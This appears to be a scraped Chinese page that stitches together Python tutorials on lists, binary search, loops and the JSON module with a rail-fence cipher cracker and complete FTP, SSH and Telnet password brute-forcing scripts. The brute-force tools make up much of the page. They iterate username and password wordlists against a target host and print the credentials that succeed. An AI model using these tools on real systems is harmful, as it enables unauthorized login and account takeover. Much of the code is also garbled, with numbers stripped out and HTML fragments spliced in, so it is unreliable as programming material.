Python列表怎么更新值？ 序列是Python中最基本的数据结构。序列中的每个元素都分配一个数字 - 它的位置，或索引，第一个索引是0，第二个索引是1，依此类推。Python有6个序列的内置类型，但最常见的是列表和元组。序列都可以进行的操作包括索引，切片，加，乘，检查成员。此外，Python已经内置确定序列的长度以及确定和最小的元素的方法。列表是最常用的Python数据类型，它可以作为一个方括号内的逗号分隔值出现。列表的数据项不需要具有相同的类型创建一个列表，只要把逗号分隔的不同的数据项使用方括号括起来即可。如下所示：list1 = ['physics', 'chemistry', 1997, 2000] list2 = [1, 2, 3, 4, 5 ] list3 = ["a", "b", "c", "d"]与字符串的索引一样，列表索引从0开始。列表可以进行截取、组合等。那如何在python中更新列表呢？aList = [123, 'abc', 4.56, ['inner', 'list'], (7-9j)] print aList[2] aList[2] = 'float replacer' print aList aList.append("hi, i'm new here") print aList运行结果如下：4.56 [123, 'abc', 'float replacer', ['inner', 'list'], (7-9j)] [123, 'abc', 'float replacer', ['inner', 'list'], (7-9j), "hi, i'm new here"]

用Python实现的二分查找算法 先来看个用Python实现的二分查找算法实例#!/usr/bin/env python  import sys      def search2(a,m):    low = 0    high = len(a) - 1    while(low <= high):      mid = (low + high)/2     midval = a[mid]           if midval < m:        low = mid + 1      elif midval > m:        high = mid - 1      else:        print mid         return mid     print -1   return -1    if __name__ == "__main__":    a = [int(i) for i in list(sys.argv[1])]    m = int(sys.argv[2])    search2(a,m)运行:administrator@ubuntu:~/Python$ python test_search2.py 123456789 4注:1.'__'：由于python的类成员都是公有、公开的被存取public，缺少像正统面向对象语言的私有private属性。于是就用__来将就一下，模拟私有属性。这些__属性往往是内部使用，通常情况下不用改写。也不用读取。加上2个下划线的目的，一是不和普通公有属性重名冲突，二是不让对象的使用者(非开发者)随意使用。2.__name__ == "__main__"表示程序脚本是直接被执行的.如果不等于表示脚本是被其他程序用import引入的.则其__name__属性被设为模块名Python采用二分查找找出数字的下标要考虑有重复数字的情况class Solution(object):   def searchRange(self, nums, target):     """     :type nums: List[int]     :type target: int     :rtype: List[int]     """     def binary_search(start,end,value):       while end>=start:         mid = (start+end)//2         print(mid)         if nums[mid]>target:           end = mid-1         elif nums[mid]<target: start="mid+1" else:="" if="" value="=-1:" mid-1="">=start and nums[mid+value] == target:               end = mid+value             else:               return mid           else:             if mid+1<=end and nums[mid+value] == target:               start = mid+value             else:               return mid          return -1     a=binary_search(0,len(nums)-1,-1)     b=binary_search(0,len(nums)-1,1)     return [a,b] a = Solution() l = [2,2] print(a.searchRange(l,2))   </target:>二分算法的定义不在多说了import sys  source = [1,2,3,4,5,6,7,8,9,10] #must be in order  des = int(sys.argv[1])  low = 0 high = len(source) - 1 targetIndex = -1 print "des=",des  while low <= high:    middle = (low + high)/2   if des == source[middle]:      targetIndex = middle      break   elif des < source[middle]:      high = middle -1     print "middle element[index=",middle,",value=",source[middle],"] is bigger than des, continue search from[",low,"to",high,"]"   else:      low = middle + 1     print "middle element[index=",middle,",value=",source[middle],"] is smaller than des, continue search from[",low,"to",high,"]" print "search complete, target element's index in source list is ",targetIndex最后在分享一个'fileName--BinarySearch.py' src = []     def BinarySearch(low, high, target, *src):    '二分查找'   while low <= high:      mid = (low + high) // 2     midVal = src[mid]      if target < midVal:        high = mid - 1     elif target > midVal:        low = mid + 1     else:        return mid      BinarySearch(low, high, target, *src)     print('Please input 10 number:')  for number in range(10):    src.append(int(input('Num %d:' % number)))     sortList = tuple(src)  key = int(input('Please input key:'))  location = BinarySearch(0, len(src) - 1, key, *sortList)     if location != None:    print('Find target at %d' % (location + 1))  else:    print('No target!')

Python中无限循环有什么条件 循环如果条件判断语句永远为 true，循环将会的执行下去。如下实例#!/usr/bin/python # -*- coding: UTF-8 -*-   var = 1 while var == 1 : # 该条件永远为true，循环将执行下去   num = raw_input("Enter a number :")   print "You entered: ", num   print "Good bye!"以上实例输出结果：Enter a number :20 You entered: 20 Enter a number :29 You entered: 29 Enter a number :3 You entered: 3 Enter a number between :Traceback (most recent call last):  File "test.py", line 5, in <module>   num = raw_input("Enter a number :") KeyboardInterrupt </module>注意：以上的循环你可以使用 CTRL+C 来中断循环。python while 1 vs while TruePython 3.0之前，他们的执行是不同的：while 1，python会进行优化，每次循环是不会去检查1的条件，因此性能会好而while True，在python 3k前，True不是保留字，用户可以True=0，所以，每次还要比较True的值Python 3.0之后，True/False都变成了保留字，>>> True = 10会报错因此，python 3后，while 1和while True效果一样，都会被解释器优化

详解Python中的JSON编码模块 JSON编码支持的基本数据类型为 None ， bool ， int ， float 和 str ， 以及包含这些类型数据的lists，tuples和dictionaries。 对于dictionaries，keys需要是字符串类型(字典中任何非字符串类型的key在编码时会先转换为字符串)。 为了遵循JSON规范，你应该只编码Python的lists和dictionaries。 而且，在web应用程序中，顶层对象被编码为一个字典是一个标准做法。JSON编码的格式对于Python语法而已几乎是完全一样的，除了一些小的差异之外。 比如，True会被映射为true，False被映射为false，而None会被映射为null。 下面是一个例子，演示了编码后的字符串效果：>>> json.dumps(False) 'false' >>> d = {'a': True, ...   'b': 'Hello', ...   'c': None} >>> json.dumps(d) '{"b": "Hello", "c": null, "a": true}' >>>如果你试着去检查JSON解码后的数据，你通常很难通过简单的打印来确定它的结构， 特别是当数据的嵌套结构层次很深或者包含大量的字段时。 为了解决这个问题，可以考虑使用pprint模块的 pprint() 函数来代替普通的 print() 函数。 它会按照key的字母顺序并以一种更加美观的方式输出。 下面是一个演示如何漂亮的打印输出Twitter上搜索结果的例子：>>> from urllib.request import urlopen >>> import json >>> u = urlopen('http://search.twitter.com/search.json?q=python&rpp=5') >>> resp = json.loads(u.read().decode('utf-8')) >>> from pprint import pprint >>> pprint(resp) {'completed_in': 0.074, 'max_id': 264043230692245504, 'max_id_str': '264043230692245504', 'next_page': '?page=2&max_id=264043230692245504&q=python&rpp=5', 'page': 1, 'query': 'python', 'refresh_url': '?since_id=264043230692245504&q=python', 'results': [{'created_at': 'Thu, 01 Nov 2012 16:36:26 +0000',       'from_user': ...       },       {'created_at': 'Thu, 01 Nov 2012 16:36:14 +0000',       'from_user': ...       },       {'created_at': 'Thu, 01 Nov 2012 16:36:13 +0000',       'from_user': ...       },       {'created_at': 'Thu, 01 Nov 2012 16:36:07 +0000',       'from_user': ...       }       {'created_at': 'Thu, 01 Nov 2012 16:36:04 +0000',       'from_user': ...       }], 'results_per_page': 5, 'since_id': 0, 'since_id_str': '0'} >>>一般来讲，JSON解码会根据提供的数据创建dicts或lists。 如果你想要创建其他类型的对象，可以给 json.loads() 传递object_pairs_hook或object_hook参数。 例如，下面是演示如何解码JSON数据并在一个OrderedDict中保留其顺序的例子：>>> s = '{"name": "ACME", "shares": 50, "price": 490.1}' >>> from collections import OrderedDict >>> data = json.loads(s, object_pairs_hook=OrderedDict) >>> data OrderedDict([('name', 'ACME'), ('shares', 50), ('price', 490.1)]) >>>下面是如何将一个JSON字典转换为一个Python对象例子：>>> class JSONObject: ...   def __init__(self, d): ...     self.__dict__ = d ... >>> >>> data = json.loads(s, object_hook=JSONObject) >>> data.name 'ACME' >>> data.shares 50 >>> data.price 490.1 >>>最后一个例子中，JSON解码后的字典作为一个单个参数传递给 __init__() 。 然后，你就可以随心所欲的使用它了，比如作为一个实例字典来直接使用它。在编码JSON的时候，还有一些选项很有用。 如果你想获得漂亮的格式化字符串后输出，可以使用 json.dumps() 的indent参数。 它会使得输出和pprint()函数效果类似。比如：>>> print(json.dumps(data)) {"price": 542.23, "name": "ACME", "shares": 100} >>> print(json.dumps(data, indent=4)) {   "price": 542.23,   "name": "ACME",   "shares": 100 } >>>对象实例通常并不是JSON可序列化的。例如：>>> class Point: ...   def __init__(self, x, y): ...     self.x = x ...     self.y = y ... >>> p = Point(2, 3) >>> json.dumps(p) Traceback (most recent call last):   File "<stdin>", line 1, in <module>   File "/usr/local/lib/python3.3/json/__init__.py", line 226, in dumps     return _default_encoder.encode(obj)   File "/usr/local/lib/python3.3/json/encoder.py", line 187, in encode     chunks = self.iterencode(o, _one_shot=True)   File "/usr/local/lib/python3.3/json/encoder.py", line 245, in iterencode     return _iterencode(o, 0)   File "/usr/local/lib/python3.3/json/encoder.py", line 169, in default     raise TypeError(repr(o) + " is not JSON serializable") TypeError: <__main__.Point object at 0x1006f2650> is not JSON serializable >>>如果你想序列化对象实例，你可以提供一个函数，它的输入是一个实例，返回一个可序列化的字典。例如：def serialize_instance(obj):   d = { '__classname__' : type(obj).__name__ }   d.update(vars(obj))   return d如果你想反过来获取这个实例，可以这样做：# Dictionary mapping names to known classes classes = {   'Point' : Point }   def unserialize_object(d):   clsname = d.pop('__classname__', None)   if clsname:     cls = classes[clsname]     obj = cls.__new__(cls) # Make instance without calling __init__     for key, value in d.items():       setattr(obj, key, value)       return obj   else:     return d下面是如何使用这些函数的例子：>>> p = Point(2,3) >>> s = json.dumps(p, default=serialize_instance) >>> s '{"__classname__": "Point", "y": 3, "x": 2}' >>> a = json.loads(s, object_hook=unserialize_object) >>> a <__main__.Point object at 0x1017577d0> >>> a.x 2 >>> a.y 3 >>>json 模块还有很多其他选项来控制更低级别的数字、特殊值如NaN等的解析。 

Python脚本多种方法破解栅栏密码 Python是一种计算机程序设计语言。是一种面向对象的动态类型语言，最初被设计用于编写自动化脚本(shell)，随着版本的不断更新和语言新功能的添加，越来越多被用于独立的、大型项目的开发。Python脚本简单易用，对于要破解的栅栏密码，最简单的可以使用快速编写的Python脚本进行暴力破解：通用脚本：#!/usr/bin/env python  # -*- coding: gbk -*-  # -*- coding: utf_ -*-  e = raw_input(‘请输入要解密的字符串\n‘)  elen = len(e)  field=[]  for i in range(,elen):        if(elen%i==):          field.append(i)  for f in field:    b = elen / f    result = {x:‘‘ for x in range(b)}    for i in range(elen):      a = i % b;      result.update({a:result[a] + e[i]})    d = ‘‘    for i in range(b):      d = d + result[i]    print ‘分为\t‘+str(f)+‘\t‘+‘栏时，解密结果为： ‘+dFTP暴力破解脚本#!/usr/bin/env python #-*-coding = utf--*- #author:@xfk #blog:@blog.sina.com.cn/kaiyongdeng #date:@-- import sys, os, time from ftplib import FTP docs = """       [*] This was written for educational purpose and pentest only. Use it at your own risk.        [*] Author will be not responsible for any damage!       [*] Toolname : ftp_bf.py       [*] Coder :       [*] Version : .       [*] eample of use : python ftp_bf.py -t ftp.server.com -u usernames.txt -p passwords.txt     """ if sys.platform == 'linux' or sys.platform == 'linux':   clearing = 'clear' else:   clearing = 'cls' os.system(clearing) R = "\[m"; G = "\[m"; Y = "\[m" END = "\[m" def logo():   print G+"\n |---------------------------------------------------------------|"   print " | |"   print " | blog.sina.com.cn/kaiyongdeng |"   print " | // ftp_bf.py v.. |"   print " | FTP Brute Forcing Tool |"   print " | |"   print " |---------------------------------------------------------------|\n"   print " \n [-] %s\n" % time.strftime("%X")   print docs+END def help():   print R+"[*]-t, --target ip/hostname <> Our target"   print "[*]-u, --usernamelist usernamelist <> usernamelist path"   print "[*]-p, --passwordlist passwordlist <> passwordlist path"   print "[*]-h, --help help <> print this help"   print "[*]Example : python ftp_bf -t ftp.server.com -u username.txt -p passwords.txt"+END sys.exit() def bf_login(hostname,username,password):   # sys.stdout.write("\r[!]Checking : %s " % (p))   # sys.stdout.flush()   try:     ftp = FTP(hostname)     ftp.login(hostname,username, password)     ftp.retrlines('list')     ftp.quit()     print Y+"\n[!] wt,wt!!! We did it ! "     print "[+] Target : ",hostname, ""     print "[+] User : ",username, ""     print "[+] Password : ",password, ""+END     return   # sys.exit()   except Exception, e:     pass except KeyboardInterrupt: print R+"\n[-] Exiting ...\n"+END   sys.exit() def anon_login(hostname):   try:     print G+"\n[!] Checking for anonymous login.\n"+END     ftp = FTP(hostname) ftp.login()     ftp.retrlines('LIST')     print Y+"\n[!] wt,wt!!! Anonymous login successfuly !\n"+END     ftp.quit()   except Exception, e:     print R+"\n[-] Anonymous login failed...\n"+END     pass def main():   logo()   try:     for arg in sys.argv:       if arg.lower() == '-t' or arg.lower() == '--target':         hostname = sys.argv[int(sys.argv[:].index(arg))+]       elif arg.lower() == '-u' or arg.lower() == '--usernamelist':         usernamelist = sys.argv[int(sys.argv[:].index(arg))+]       elif arg.lower() == '-p' or arg.lower() == '--passwordlist':         passwordlist = sys.argv[int(sys.argv[:].index(arg))+]       elif arg.lower() == '-h' or arg.lower() == '--help':         help()       elif len(sys.argv) <= :         help()   except:     print R+"[-]Cheak your parametars input\n"+END     help()   print G+"[!] BruteForcing target ..."+END   anon_login(hostname)   # print "here is ok"   # print hostname   try:     usernames = open(usernamelist, "r")     user = usernames.readlines()     count =     while count < len(user):       user[count] = user[count].strip()       count +=   except:     print R+"\n[-] Cheak your usernamelist path\n"+END     sys.exit()   # print "here is ok ",usernamelist,passwordlist   try:     passwords = open(passwordlist, "r")     pwd = passwords.readlines()     count =     while count < len(pwd):       pwd[count] = pwd[count].strip()       count +=   except:     print R+"\n[-] Check your passwordlist path\n"+END     sys.exit()   print G+"\n[+] Loaded:",len(user),"usernames"   print "\n[+] Loaded:",len(pwd),"passwords"   print "[+] Target:",hostname   print "[+] Guessing...\n"+END   for u in user: for p in pwd:     result = bf_login(hostname,u.replace("\n",""),p.replace("\n",""))     if result != :       print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + R+"Disenable"+END     else:       print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + Y+"Enable"+END     if not result :       print R+"\n[-]There is no username ans password enabled in the list."       print "[-]Exiting...\n"+END if __name__ == "__main__":   main()SSH暴力破解#!/usr/bin/env python #-*-coding = UTF--*- #author@:dengyongkai #blog@:blog.sina.com.cn/kaiyongdeng import sys import os import time #from threading import Thread try:   from paramiko import SSHClient   from paramiko import AutoAddPolicy except ImportError:   print G+'''   You need paramiko module. http://www.lag.net/paramiko/   Debian/Ubuntu: sudo apt-get install aptitude      : sudo aptitude install python-paramiko\n'''+END   sys.exit() docs = """       [*] This was written for educational purpose and pentest only. Use it at your own risk.       [*] Author will be not responsible for any damage!                                      [*] Toolname    : ssh_bf.py       [*] Author     : xfk       [*] Version     : v..       [*] Example of use : python ssh_bf.py [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]   """ if sys.platform == 'linux' or sys.platform == 'linux':      clearing = 'clear' else:       clearing = 'cls' os.system(clearing) R = "\[m"; G = "\[m"; Y = "\[m" END = "\[m" def logo():      print G+"\n        |---------------------------------------------------------------|"      print "        |                                |"      print "        |        blog.sina.com.cn/kaiyongdeng          |"      print "        |        // ssh_bf.py v..           |"      print "        |         SSH Brute Forcing Tool            |"      print "        |                                |"      print "        |---------------------------------------------------------------|\n"      print " \n           [-] %s\n" % time.ctime()      print docs+END def help():   print Y+"    [*]-H    --hostname/ip    <>the target hostname or ip address"   print "   [*]-P    --port     <>the ssh service port(default is )"   print "   [*]-U    --usernamelist   <>usernames list file"   print "   [*]-P    --passwordlist   <>passwords list file"   print "   [*]-H    --help     <>show help information"   print "   [*]Usage:python %s [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]"+END   sys.exit() def BruteForce(hostname,port,username,password):     '''     Create SSH connection to target     '''     ssh = SSHClient()     ssh.set_missing_host_key_policy(AutoAddPolicy())     try:       ssh.connect(hostname, port, username, password, pkey=None, timeout = None, allow_agent=False, look_for_keys=False)       status = 'ok'       ssh.close()     except Exception, e:       status = 'error'       pass   return status def makelist(file):   '''   Make usernames and passwords lists   '''   items = []   try:     fd = open(file, 'r')   except IOError:     print R+'unable to read file \'%s\'' % file+END     pass   except Exception, e:     print R+'unknown error'+END     pass   for line in fd.readlines():     item = line.replace('\n', '').replace('\r', '')     items.append(item)   fd.close()    return items def main():     logo()  #  print "hello wold"     try:           for arg in sys.argv:             if arg.lower() == '-t' or arg.lower() == '--target':                 hostname = str(sys.argv[int(sys.argv[:].index(arg))+])         if arg.lower() == '-p' or arg.lower() == '--port':           port = sys.argv[int(sys.argv[:].index(arg))+]             elif arg.lower() == '-u' or arg.lower() == '--userlist':                 userlist = sys.argv[int(sys.argv[:].index(arg))+]             elif arg.lower() == '-w' or arg.lower() == '--wordlist':                 wordlist = sys.argv[int(sys.argv[:].index(arg))+]             elif arg.lower() == '-h' or arg.lower() == '--help':                 help()       elif len(sys.argv) <= :                 help()     except:         print R+"[-]Cheak your parametars input\n"+END         help()     print G+"\n[!] BruteForcing target ...\n"+END #    print "here is ok" #    print hostname,port,wordlist,userlist     usernamelist = makelist(userlist)     passwordlist = makelist(wordlist)     print Y+"[*] SSH Brute Force Praparing."     print "[*] %s user(s) loaded." % str(len(usernamelist))     print "[*] %s password(s) loaded." % str(len(passwordlist))     print "[*] Brute Force Is Starting......."+END   try:       for username in usernamelist:         for password in passwordlist:         print G+"\n[+]Attempt uaername:%s password:%s..." % (username,password)+END             current = BruteForce(hostname, port, username, password)               if current == 'error':           print R+"[-]O*O The username:%s and password:%s Is Disenbabled...\n" % (username,password)+END #                pass               else:                   print G+"\n[+] ^-^ HaHa,We Got It!!!"                   print "[+] username: %s" % username                   print "[+] password: %s\n" % password+END #                  sys.exit()   except:     print R+"\n[-] There Is Something Wrong,Pleace Cheak It."     print "[-] Exitting.....\n"+END     raise     print Y+"[+] Done.^-^\n"+END     sys.exit() if __name__ == "__main__":   main()TELNET密码暴力破解#!usr/bin/python #Telnet Brute Forcer #http://www.darkcde.com #dhydr[at]gmail[dot]com import threading, time, random, sys, telnetlib from copy import copy if len(sys.argv) !=:   print "Usage: ./telnetbrute.py <server> <userlist> <wordlist>"   sys.exit() try:   users = open(sys.argv[], "r").readlines() except(IOError):   print "Error: Check your userlist path\n"   sys.exit() try:   words = open(sys.argv[], "r").readlines() except(IOError):   print "Error: Check your wordlist path\n"   sys.exit() print "\n\t  dhydr[at]gmail[dot]com TelnetBruteForcer v." print "\t--------------------------------------------------\n" print "[+] Server:",sys.argv[] print "[+] Users Loaded:",len(users) print "[+] Words Loaded:",len(words),"\n" wordlist = copy(words) def reloader():   for word in wordlist:     words.append(word) def getword():   lock = threading.Lock()   lock.acquire()   if len(words) != :     value = random.sample(words, )     words.remove(value[])   else:     print "\nReloading Wordlist - Changing User\n"     reloader()     value = random.sample(words, )     users.remove(users[])   lock.release()   if len(users) ==:     return value[][:-], users[]   else:     return value[][:-], users[][:-] class Worker(threading.Thread):   def run(self):     value, user = getword()     try:       print "-"*       print "User:",user,"Password:",value       tn = telnetlib.Telnet(sys.argv[])       tn.read_until("login: ")       tn.write(user + "\n")       if password:           tn.read_until("Password: ")           tn.write(value + "\n")       tn.write("ls\n")       tn.write("exit\n")       print tn.read_all()       print "\t\nLogin successful:",value, user       tn.close()       work.join()       sys.exit()     except:       pass for I in range(len(words)*len(users)):   work = Worker()   work.start()   time.sleep()</wordlist></userlist></server>